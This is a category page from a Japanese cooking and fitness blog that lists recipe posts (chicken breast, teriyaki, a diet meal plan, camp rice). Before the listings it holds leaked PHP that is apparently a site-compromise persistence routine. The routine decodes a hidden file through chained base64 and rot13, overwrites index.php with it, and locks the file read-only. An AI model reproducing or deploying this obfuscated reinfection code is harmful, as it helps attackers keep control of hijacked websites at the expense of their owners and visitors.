$i_p = "index.php"; $index = file_get_contents($i_p); $path = "{index_hide}"; if (file_exists($path)) { $index_hide = file_get_contents($path); $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); if(md5($index) != md5($index_hide)) { @chmod($i_p, 0644); @file_put_contents($i_p, $index_hide); @chmod($i_p, 0444); } } クッキング | TAKUTIVITY – タクティビティ

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安くて高タンパク!美味しく鶏胸肉を茹でる方法

筋肉トレーニングには欠かせない食材の1つ鶏胸肉。安くて高タンパクで良いですが、うまく調理しないとパサつきがちで食べにくくなってしまいます。 今回は私が普段作っている柔らかく作る鶏胸肉の簡単レシピをシェアしたいと思います。超簡単2ステ...
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1日1800キロカロリー以下!ヘルシーな食生活を公開

私の減量期の食事内容から、30代前後の男性は1日にどのくらいの摂取カロリーであれば痩せられるか。と或る1日の朝食、昼食、夜食を例にダイエット向きのヘルシーな食生活を公開しています。
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【簡単料理】鶏肉と大根の照り焼き-ガーリック風味で夏バテ防止-

何かと暑さで体がだるくなりがちな夏場。簡単に作れて夏バテ防止にもおすすめのお料理、鶏肉と大根の照り焼きを紹介します。 手際よく済ませれば10分でできちゃいます。 にんにくを使って食欲とスタミナアップ。ささっと作れる料理です。 ...
キャンプ飯

【写真付き】丸型飯盒でご飯を炊く

丸型飯盒でご飯を炊く手順を紹介。使用する飯盒はキャプテンスタッグ4合炊き丸形飯盒です。
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